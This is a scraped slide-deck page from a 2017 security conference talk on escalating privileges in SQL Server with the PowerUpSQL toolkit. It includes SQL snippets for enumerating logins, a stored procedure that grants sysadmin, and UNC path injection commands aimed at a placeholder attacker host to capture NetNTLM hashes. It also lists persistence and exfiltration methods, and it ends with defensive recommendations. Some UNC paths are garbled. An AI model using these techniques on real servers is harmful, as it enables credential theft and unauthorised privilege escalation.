2017 Secure360 - Hacking SQL Server on Scale with PowerShell
Download as pptx, pdf5 likes2,535 views
The document discusses hacking SQL Server at scale using PowerShell. It provides an overview of PowerUpSQL, an open source PowerShell toolkit for SQL Server discovery, auditing, and privilege escalation. Key sections include SQL Server discovery techniques using PowerUpSQL, methods for escalating privileges such as from a domain user to SQL login or SQL login to sysadmin, and post-exploitation activities like impersonation. The presentation emphasizes the benefits of using PowerShell for SQL attacks including avoiding detection by running commands in memory and leveraging existing trusted tools.

Enumerating SQL Logins
1. Attempt to list all SQL Server
logins and fail.
2. Get principal id for the sa account
with “suser_id”
3. Use “suser_name” to get SQL
logins using just principal ID
4. Increment number and repeat
select n [id], SUSER_NAME(n) [user_name]
from (
select top 10000 row_number() over(order by t1.number) as N
from master..spt_values t1
cross join master..spt_values t2
) a
where SUSER_NAME(n) is not null

![Escalating Privileges: Crawling Links
What’s a SQL Server link?
● SQL Server links are basically persistent database connections for SQL Servers.
Why should I care?
● Short answer = privilege escalation
● Public role can use links to execute queries on remote servers (impersonation)
SELECT * FROM OpenQuery([SQLSERVER2],’SELECT @@Version’)
● Stored procedures can be executed – like xp_cmdshell ;)
● Links can be crawled](https://image.slidesharecdn.com/2017secure360-hackingsqlserversonscalewithpowershell-scottsutherland-v2-170517144100/85/2017-Secure360-Hacking-SQL-Server-on-Scale-with-PowerShell-73-320.jpg)
![Escalating Privileges: UNC Injection
Another Issue
• The Public role can perform UNC path injection into the BACKUP and RESTORE
commands even though it can’t perform the actual backup/restore:
BACKUP LOG [TESTING] TO DISK = 'attackeripfile‘
RESTORE LOG [TESTING] FROM DISK = 'attackeripfile'
Partial Solution
• A patch was released for SQL Server versions 2012 through 2016
https://technet.microsoft.com/library/security/MS16-131
• There is no patch for SQL Server 2000 to 2008](https://image.slidesharecdn.com/2017secure360-hackingsqlserversonscalewithpowershell-scottsutherland-v2-170517144100/85/2017-Secure360-Hacking-SQL-Server-on-Scale-with-PowerShell-88-320.jpg)

Shared Service Accounts 10. Database Links 11. UNC Path Injection 12. Python code execution
- 41. Impersonate Privilege • Can be used at server layer o EXECUTE AS LOGIN • Can be used at database layer o EXECUTE AS USER Pros • Execute queries/commands in another user context Cons • Commands and queries are not limited in any way • Requires database to be configured as trustworthy for OS command execution Escalating Privileges: Impersonation

- 44. Stored Procedure and Trigger Creation / Injection Issues • EXECUTE AS OWNER can be used to execute a stored procedure as another login Pros • Can execute queries/commands in another user context • Limit commands and queries • Don’t have to grant IMPERSONATE Cons • No granular control over the database owner’s privileges • DB_OWNER role can EXECUTE AS OWNER of the DB, which is often a sysadmin • Requires database to be configured as trustworthy for OS command execution • Impersonation can be done via SQL injection under specific conditions • Impersonation can be done via command injection under specific conditions Escalating Privileges: Impersonation
- 45. Stored Procedure and Trigger Creation / Injection Issues • EXECUTE AS OWNER can be used to execute a stored procedure as another login • DB_OWNER role can impersonate the actual database owner USE MyAppDb GO CREATE PROCEDURE sp_escalate_me WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember 'MyAppUser','sysadmin' GO Escalating Privileges: Impersonation

- 52. Automatic Execution of Stored Procedure • Stored procedures ca be configured to execute when the SQL Server service restarts Pros • Marking a stored procedure to run when the SQL Server service restarts has many use cases • Only stored procedures in the master database can be marked for auto execution Cons • No granular control over what context the startup command is executed in • All stored procedures marked for auto execution are executed as ‘sa’, even if ‘sa’ is disabled • Any non sysadmin access to stored procedures can lead to execution as ‘sa’ Escalating Privileges: Impersonation

- 67. Escalating Privileges: Shared Svc Accounts Why should I care about shared service accounts? 1. SysAdmins can execute OS commands 2. OS commands run as the SQL Server service account 3. Service accounts have sysadmin privileges by default 4. Companies often use a single domain account to run hundreds of SQL Servers 5. So if you get sysadmin on one server you have it on all of them! One account to rule them all!

- 85. Escalating Privileges: UNC Injection UNC Path Injection Summary ● UNC paths are used for accessing remote file servers like so 192.168.1.4file ● Almost all procedures that accept a file path in SQL Server, support UNC paths ● UNC paths can be used to force the SQL Server service account to authenticate to an attacker ● An attacker can then capture the NetNTLM password hash and crack or relay it ● Relay becomes pretty easy when you know which SQL Servers are using shared accounts
- 86. Escalating Privileges: UNC Injection
- 87. Escalating Privileges: UNC Injection The Issue • By DEFAULT, the PUBLIC role can execute at least two procedures that accept a file path xp_dirtree 'attackeripfile‘ xp_fileexists 'attackeripfile‘ The Solution • EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that) UNC Path Injection Cheat Sheet (More options) • https://gist.github.com/nullbind/7dfca2a6309a4209b5aeef181b676c6e
- 88. Escalating Privileges: UNC Injection Another Issue • The Public role can perform UNC path injection into the BACKUP and RESTORE commands even though it can’t perform the actual backup/restore: BACKUP LOG [TESTING] TO DISK = 'attackeripfile‘ RESTORE LOG [TESTING] FROM DISK = 'attackeripfile' Partial Solution • A patch was released for SQL Server versions 2012 through 2016 https://technet.microsoft.com/library/security/MS16-131 • There is no patch for SQL Server 2000 to 2008
- 89. Escalating Privileges: UNC Injection So, in summary… 1. The PUBLIC role can access the SQL Server service account NetNTLM password hash by default 2. A ton of domain users have PUBLIC role access 3. Whooray for domain privilege escalation!

Establish Persistence • SQL Server Layer: startup procedures, agent jobs, triggers, modified code • OS Layer: Registry & file auto runs, tasks, services, etc. 2. Identify Sensitive Data • Target large databases • Locate transparently encrypted databases • Search columns based on keywords and sample data • Use regular expressions and the Luhn formula against data samples 3. Exfiltrate Sensitive Data • All standard methods: Copy database, TCP ports, UDP ports, DNS tunneling, ICMP tunneling, email, HTTP, shares, links, etc. (No exfil in PowerUpSQL yet)

- 106. General Recommendations 1. Enforce least privilege everywhere! 2. Disable dangerous default stored procedures. 3. Install security patches or upgrade to latest version. 4. Audit and fix insecure configurations. 5. Use policy based management for standardizing configurations. 6. Enable auditing at the server and database levels, and monitor for potentially malicious activity.
- 107. Take Aways 1. SQL Server is everywhere 2. SQL Server has many trust relationships with Windows and Active Directory 3. SQL Server has many default and common configurations that can be exploited to gain access 4. Tons of domain users have the ability to login into SQL Server 5. Service accounts have sysadmin privileges 6. Shared service accounts can be dangerous 7. PowerUpSQL can be used for basic auditing and exploiting of common SQL Server issues @_nullbind https://github.com/netspi/PowerUpSQL

- #71: Scenario Database account with excessive privileges Shared service account Use xp_cmdshell to verify local command execution
- #72: Use xp_cmdshell and OSQL to: Enumerate databases on the internal network Issues queries on remote HVA database server that is configured with the same service account. No alerts – using trusted account and non destructive native functionality No logs (or few logs) – No account creation or group modification No accountability!
